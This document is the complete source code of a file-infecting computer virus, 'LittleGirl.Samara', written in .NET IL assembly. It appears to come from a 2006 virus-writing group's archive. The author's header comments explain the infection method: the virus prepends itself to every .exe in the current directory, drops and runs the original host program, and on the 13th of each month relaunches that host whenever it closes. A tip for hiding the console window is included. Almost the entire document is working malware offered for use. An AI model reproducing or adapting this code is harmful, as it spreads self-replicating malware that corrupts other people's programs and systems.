|| Author: Berniee,Fakedminded/EOF || Back to sources || View project folder ||
//...................................................................................
//virusName :LittleGirl.Samara (v.1.0)
//Infect Using prepending method 
//Coded by using ILASM ( .net environment)
//berniee(fakedminded)\[EOF]---2006
//Description:Virus is to some extent a demo version of ILASM coded virii,it searches
//            all files in current directory infecting them,by adding virus body in the 
//	      beginning of victim files,victim run-->drop and run the old non-infected
//	      program and wait till it ends to delete it.Payload on 13th of every month
//	      virus will start running dropped exe each time the program closes.
//	      the virus in its current version cant handle errors(hope on new versions)
//	      there are currently number of bugs in it/e.g. not recognizing
//	      MSIL files!.
//Thanx :To vxDia for his Damnei virus that I used to code in ilasm :P(after serious 
//	 of pain in hte ass disasm(ildasm),and thanx to all EOF group members.
//
//NOTE:TO REMOVE THE ANNOYING CONSOLE -PATCH THE FORMED EXE AT 0x05c(FROM PE OFFSET)
//     CHANGING IT FROM 0x03 VALUE TO 0x02 VALUE.
//
//....................................................................................

.assembly extern mscorlib{}
.assembly sample{}
.class private auto ansi beforefieldinit Sample
       extends [mscorlib]System.Object
{
  .method public hidebysig static 
          void  Main() cil managed
  { .entrypoint
    .locals (int32 list_exe,string[] all_files,string cur_dir,string p_vir_name,uint8[] read_1,int32 vir_size,class [mscorlib]System.IO.FileStream vir_file,class [mscorlib]System.IO.BinaryReader read_file,int32 counter,class [mscorlib]System.IO.BinaryWriter write_file,int32 cur_p_size,int32 rty,class [mscorlib]System.IO.FileStream victim_file,class [mscorlib]System.IO.BinaryReader read_file_victim,int32 victim_size,uint8[] victim_data,class [mscorlib]System.IO.BinaryWriter write_temp_file,class [mscorlib]System.IO.BinaryWriter write_file_victim ,string temp_host,class [mscorlib]System.IO.FileStream temp_file_object,valuetype [mscorlib]System.DateTime day_)

get_curRun_process:
	call class[System]System.Diagnostics.Process[System]System.Diagnostics.Process::GetCurrentProcess()
	callvirt instance class[System]System.Diagnostics.ProcessModule[System]System.Diagnostics.Process::get_MainModule()
	callvirt string [System]System.Diagnostics.ProcessModule::get_FileName()
	stloc p_vir_name
	ldloc p_vir_name
	call void [mscorlib]System.Console::WriteLine(string)
read_it_1:
//the following value depends on virus assembled size

	ldc.i4 3584    
	stloc vir_size


	ldloc p_vir_name
	ldc.i4 4
	ldc.i4 1
	newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
	valuetype [mscorlib]System.IO.FileMode,valuetype [mscorlib]System.IO.FileAccess)
	stloc vir_file
	ldloc vir_file
	newobj instance void [mscorlib]System.IO.BinaryReader::.ctor(class 
[mscorlib]System.IO.Stream)
	stloc 	read_file
	
	ldloc vir_file
	callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
	

	stloc cur_p_size
	ldloc cur_p_size
	newarr [mscorlib]System.Byte
	stloc read_1
	ldc.i4 0
	stloc counter
//read the current process+vir

loop_read_1:
	ldloc read_1
	ldloc counter
	ldloc read_file
	callvirt instance uint8 [mscorlib]System.IO.BinaryReader::ReadByte()
	stelem.i1
	ldloc counter
	ldc.i4 1	
	add
	stloc counter
	ldloc counter
	ldloc cur_p_size
	blt loop_read_1
	
	
	ldc.i4.0
	stloc list_exe
	call string [mscorlib]System.IO.Directory::GetCurrentDirectory()
	stloc cur_dir
	
	ldloc cur_dir
	ldstr "*.exe"
	call string[] [mscorlib]System.IO.Directory::GetFiles(string,string)
	stloc all_files
infect_:
//read victim
	ldloc all_files
	ldloc list_exe
	ldelem.ref
	ldloc p_vir_name
	call bool [mscorlib]System.String::op_Equality(string,string)
	brtrue next_one
	ldloc all_files
	ldloc list_exe
	ldelem.ref
	ldc.i4 4
	ldc.i4 1
	newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
	valuetype [mscorlib]System.IO.FileMode,valuetype [mscorlib]System.IO.FileAccess)
	stloc victim_file
	ldloc victim_file
	newobj instance void [mscorlib]System.IO.BinaryReader::.ctor(class 
	[mscorlib]System.IO.Stream)
	stloc read_file_victim
	ldloc victim_file
	callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
	stloc victim_size
	ldloc victim_size
	newarr [mscorlib]System.Byte
	stloc victim_data
	ldc.i4 0
	stloc counter
	
loop_read_2:
	ldloc victim_data
	ldloc counter
	ldloc read_file_victim
	callvirt instance uint8 [mscorlib]System.IO.BinaryReader::ReadByte()
	stelem.i1
	ldloc counter
	ldc.i4 1
	add
	stloc counter
	ldloc counter
	ldloc victim_size
	blt loop_read_2


		
//check for previous infection--(loop was just buggy for me..so this one isntead)

_check:

	ldloc read_1
	ldc.i4 2222
	ldelem.u1
	ldloc victim_data
	ldc.i4 2222
	ldelem.u1
	beq next_1
	br continue_infect
	
next_1:

	ldloc read_1
	ldc.i4 2223
	ldelem.u1
	ldloc victim_data
	ldc.i4 2223
	ldelem.u1
	beq next_one
	br continue_infect
	


continue_infect:
//reset needed things
	ldc.i4 0
	stloc counter
	ldloc read_file_victim
	callvirt instance void [mscorlib]System.IO.BinaryReader::Close()	
//add virus to the beginning of victim
	ldloc all_files
	ldloc list_exe
	ldelem.ref
	ldc.i4 4
	ldc.i4 3
	newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
	valuetype [mscorlib]System.IO.FileMode,valuetype [mscorlib]System.IO.FileAccess)
	stloc victim_file
	ldloc victim_file
	newobj instance void [mscorlib]System.IO.BinaryWriter::.ctor(class [mscorlib]	System.IO.Stream)
	stloc write_file_victim
	
	
loop_write_1:
	ldloc write_file_victim
	ldloc read_1	
	ldloc counter
	ldelem.u1
	callvirt instance void [mscorlib]System.IO.BinaryWriter::Write(uint8)
	ldloc counter
	ldc.i4 1
	add
	stloc counter
	ldloc counter
	ldloc vir_size
	blt loop_write_1

//reset needed things
	ldc.i4 0
	stloc counter
	
loop_write_2:
	ldloc write_file_victim
	ldloc victim_data
	ldloc counter
	ldelem.u1
	callvirt instance void[mscorlib]System.IO.BinaryWriter::Write(uint8)
	ldloc counter
	ldc.i4 1
	add 
	stloc counter
	ldloc counter
	ldloc victim_size
	blt loop_write_2

next_one:
	ldloc list_exe
	ldc.i4 1
	add
	stloc list_exe
	ldloc list_exe
	ldloc all_files
	ldlen 
	conv.i4
	blt infect_

//check the first run


	ldloc vir_file
	callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
	

	stloc cur_p_size
	ldloc cur_p_size
	ldloc vir_size
	ble exit_



drop_:	
//create temp file and run it..

	ldloc p_vir_name
	ldstr "~"
	ldstr "123.exe"
	call string [mscorlib]System.String::Concat(string,string,string)
	stloc temp_host
	ldloc temp_host	
	ldc.i4 4
	ldc.i4 3
	newobj instance void [mscorlib]System.IO.FileStream::.ctor(string,
	valuetype [mscorlib]System.IO.FileMode,valuetype [mscorlib]System.IO.FileAccess)
	stloc temp_file_object
	ldloc temp_file_object
	newobj instance void [mscorlib]System.IO.BinaryWriter::.ctor(class [mscorlib]	System.IO.Stream)
	stloc write_temp_file
	ldloc vir_size

	stloc counter
	ldloc vir_file
	callvirt instance int64 [mscorlib]System.IO.Stream::get_Length()
	

	stloc cur_p_size
loop_write_0:
	ldloc write_temp_file
	ldloc read_1
	ldloc counter
	ldelem.u1
	callvirt instance void [mscorlib]System.IO.BinaryWriter::Write(uint8)
	ldloc counter
	ldc.i4 1
	add
	stloc counter
	ldloc counter
	ldloc cur_p_size
	blt loop_write_0
	ldloc	write_temp_file 
	callvirt instance void [mscorlib]System.IO.BinaryWriter::Close()			


payload_loop:
	ldloc temp_host
	call       class [System]System.Diagnostics.Process [System]System.Diagnostics.Process::Start(string)
	callvirt   instance void [System]System.Diagnostics.Process::WaitForExit()

	call       valuetype [mscorlib]System.DateTime [mscorlib]System.DateTime::get_Now()
	stloc day_
	ldloca day_
	call       instance int32 [mscorlib]System.DateTime::get_Day()
	ldc.i4 13
	beq payload_loop	 

	
	ldloc temp_host
	call       void [mscorlib]System.IO.File::Delete(string)
	



			
exit_:
	
ret
}
}